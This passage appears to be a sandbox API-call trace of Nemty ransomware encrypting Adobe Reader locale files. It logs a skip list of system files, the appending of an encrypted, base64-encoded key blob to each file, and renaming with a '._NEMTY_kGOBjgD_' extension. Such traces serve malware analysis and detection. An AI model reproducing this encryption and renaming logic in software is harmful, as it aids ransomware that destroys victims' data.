Flags=0x0, Size=0x40) returned 0x6345e38 [0179.273] GetLastError () returned 0x12 [0179.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.273] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.273] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.274] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.274] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="H2WrkyYJYo0LFNCcyT9qNcwvBCL24UcEdUgIz310ouBa34d5qtRHYUTraGSgdKMV\r\nVa4A96WiN8c0mPbv+HINQXZu9eecycIqYjgMDkhTNkTAbFR6kBxfJkGjHSLcrPc9\r\n4WbaGL383LKc+I3RluI2YZXChJpygMx7YoKXLXSHy16/0k36sw+WIK8lYP/g5plJ\r\nM7dCd7/51QnQDkXuO41JBzM/E18Az9PELR3ldLsCaCnL5nM4bMCHphMjPW5xU9z2\r\nePKD7l2ehpKhhITWVk4KPlBSRUDbHVsBaI3Z9MM+XCkJ8FyTweHmjCc21sZJwzXn\r\noTRXqokZY79MpfiPe70VEg==\r\n", pcchString=0x653e5dc) returned 1 [0179.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.274] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Spelling.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\spelling.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.274] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8704) returned 1 [0179.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2200) returned 0x6352c48 [0179.274] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.274] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2200, lpOverlapped=0x0) returned 1 [0179.276] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.276] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2200, lpOverlapped=0x0) returned 1 [0179.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.277] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2200 [0179.277] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.277] CloseHandle (hObject=0x2e8) returned 1 [0179.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.277] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Spelling.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\spelling.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Spelling.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\spelling.jpn._nemty_kgobjgd_")) returned 1 [0179.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.278] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.JPN", cAlternateFileName="")) returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2=".") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="..") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="...") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="windows") returned -1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="rsa") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="NTDETECT.COM") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="ntldr") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="MSDOS.SYS") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="IO.SYS") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="boot.ini") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="boot.ini") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="ntuser.dat") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="desktop.ini") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="CONFIG.SYS") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="RECYCLER") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="bootmgr") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="programdata") returned 1 [0179.278] lstrcmpiW (lpString1="updater.JPN", lpString2="appdata") returned 1 [0179.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.JPN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.279] Sleep (dwMilliseconds=0x5) [0179.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e82df90, dwHighDateTime=0x1d561e8)) [0179.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e82df90, dwHighDateTime=0x1d561e8)) [0179.289] GetLastError () returned 0x0 [0179.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.289] GetLastError () returned 0x0 [0179.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.289] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.289] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.289] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.289] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="d5VedE9UMX1c2AjbnxyxDn5tg3OopwpYZA7XdnHdamc3o6t9CZ07U2f+sjNqpUq/\r\nn/OwbLNX5u10MaTx+BFSULTFFtylDqa84qHuyPI5c0KpHnHtYJ/i6Cj6ybSmdHSH\r\nMjQK8Lmr1ioMMAd0BDcGYspFuXyeeqDxKmtvK9cBu94xL1sfLmfGdTrAl2Myh9GQ\r\nPpLyqXu3TQPGZvRGmtaLHBWr5JChItOrLB65sZhJcbU1bUxYyZ2mkfspFmimWcx+\r\nSByjmyGuaGU2IZ1nIogpbBVTa7A0qJSB9JzTfhiySTCKYp+0YIT6idV0qRnj5Ows\r\n/H0p4pnA5x2aPWIUOFkR0Q==\r\n", pcchString=0x653e5dc) returned 1 [0179.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\updater.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\updater.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.290] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8704) returned 1 [0179.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2200) returned 0x6352c48 [0179.290] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.290] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2200, lpOverlapped=0x0) returned 1 [0179.292] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.292] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2200, lpOverlapped=0x0) returned 1 [0179.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.293] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2200 [0179.293] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.293] CloseHandle (hObject=0x2e8) returned 1 [0179.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.293] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\updater.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\updater.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\updater.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\updater.jpn._nemty_kgobjgd_")) returned 1 [0179.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.294] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.JPN", cAlternateFileName="")) returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2=".") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="..") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="...") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="windows") returned -1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="rsa") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="NTDETECT.COM") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="ntldr") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="MSDOS.SYS") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="IO.SYS") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="boot.ini") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="boot.ini") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="ntuser.dat") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="desktop.ini") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="CONFIG.SYS") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="RECYCLER") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.294] lstrcmpiW (lpString1="Weblink.JPN", lpString2="bootmgr") returned 1 [0179.295] lstrcmpiW (lpString1="Weblink.JPN", lpString2="programdata") returned 1 [0179.295] lstrcmpiW (lpString1="Weblink.JPN", lpString2="appdata") returned 1 [0179.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.295] 